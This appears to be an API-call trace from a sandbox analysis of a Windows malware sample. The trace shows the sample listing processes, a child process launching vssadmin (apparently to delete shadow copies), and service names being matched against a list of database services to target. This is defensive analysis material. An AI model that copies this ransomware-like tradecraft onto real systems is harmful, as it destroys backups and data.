	[0105.030] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0105.031] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0105.031] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0105.032] lstrlenW (lpString="determined.exe") returned 14
	[0105.032] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0105.033] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0105.033] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0105.034] lstrlenW (lpString="hansen mails.exe") returned 16
	[0105.034] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0105.035] lstrlenW (lpString="choirsas.exe") returned 12
	[0105.036] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0105.037] lstrlenW (lpString="skirt_races.exe") returned 15
	[0105.037] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0105.038] lstrlenW (lpString="actors_radius.exe") returned 17
	[0105.038] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0105.039] lstrlenW (lpString="scheduling.exe") returned 14
	[0105.039] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0105.039] lstrlenW (lpString="michael.exe") returned 11
	[0105.040] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0105.040] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0105.040] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0105.041] lstrlenW (lpString="pleasure.exe") returned 12
	[0105.041] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0105.046] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0105.046] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0105.047] lstrlenW (lpString="electron.exe") returned 12
	[0105.047] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0105.048] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0105.048] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0105.049] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0105.049] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0105.050] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0105.050] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0105.051] lstrlenW (lpString="pointer.exe") returned 11
	[0105.051] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0105.052] lstrlenW (lpString="gd logos.exe") returned 12
	[0105.052] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0105.053] lstrlenW (lpString="algebra validity.exe") returned 20
	[0105.053] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0105.066] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0105.066] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0105.067] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0105.067] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0105.068] lstrlenW (lpString="p.exe") returned 5
	[0105.068] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0105.069] lstrlenW (lpString="cmd.exe") returned 7
	[0105.069] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0105.070] lstrlenW (lpString="conhost.exe") returned 11
	[0105.070] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0105.071] lstrlenW (lpString="vssadmin.exe") returned 12
	[0105.071] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0105.072] lstrlenW (lpString="VSSVC.exe") returned 9
	[0105.072] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.073] lstrlenW (lpString="svchost.exe") returned 11
	[0105.073] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0105.074] CloseHandle (hObject=0x1d8) returned 1
	[0105.074] Sleep (dwMilliseconds=0x1f4) 
	[0105.581] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0105.582] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0105.582] GetLastError () returned 0xea
	[0105.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0105.582] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0105.582] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0105.582] lstrlenW (lpString="Appinfo") returned 7
	[0105.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0105.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0105.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0105.583] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0105.583] lstrlenW (lpString="AudioSrv") returned 8
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0105.583] lstrlenW (lpString="BFE") returned 3
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0105.583] lstrlenW (lpString="CryptSvc") returned 8
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0105.583] lstrlenW (lpString="CscService") returned 10
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0105.583] lstrlenW (lpString="DcomLaunch") returned 10
	[0105.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0105.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0105.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0105.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0105.584] lstrlenW (lpString="Dhcp") returned 4
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0105.584] lstrlenW (lpString="Dnscache") returned 8
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0105.584] lstrlenW (lpString="DPS") returned 3
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0105.584] lstrlenW (lpString="eventlog") returned 8
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0105.584] lstrlenW (lpString="EventSystem") returned 11
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0105.584] lstrlenW (lpString="gpsvc") returned 5
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0105.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0105.584] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0105.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0105.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0105.584] lstrlenW (lpString="iphlpsvc") returned 8
	[0105.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0105.585] lstrlenW (lpString="LanmanServer") returned 12
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0105.585] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0105.585] lstrlenW (lpString="lmhosts") returned 7
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0105.585] lstrlenW (lpString="MMCSS") returned 5
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0105.585] lstrlenW (lpString="MpsSvc") returned 6
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0105.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0105.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0105.585] lstrlenW (lpString="Netman") returned 6
	[0105.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0105.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0105.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0105.586] lstrlenW (lpString="netprofm") returned 8
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0105.586] lstrlenW (lpString="NlaSvc") returned 6
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0105.586] lstrlenW (lpString="nsi") returned 3
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0105.586] lstrlenW (lpString="PcaSvc") returned 6
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0105.586] lstrlenW (lpString="PlugPlay") returned 8
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0105.586] lstrlenW (lpString="Power") returned 5
	[0105.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0105.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0105.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0105.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0105.587] lstrlenW (lpString="ProfSvc") returned 7
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0105.587] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0105.587] lstrlenW (lpString="RpcEptMapper") returned 12
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0105.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0105.587] lstrlenW (lpString="RpcSs") returned 5
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0105.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0105.587] lstrlenW (lpString="SamSs") returned 5
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0105.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0105.587] lstrlenW (lpString="Schedule") returned 8
	[0105.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0105.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0105.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
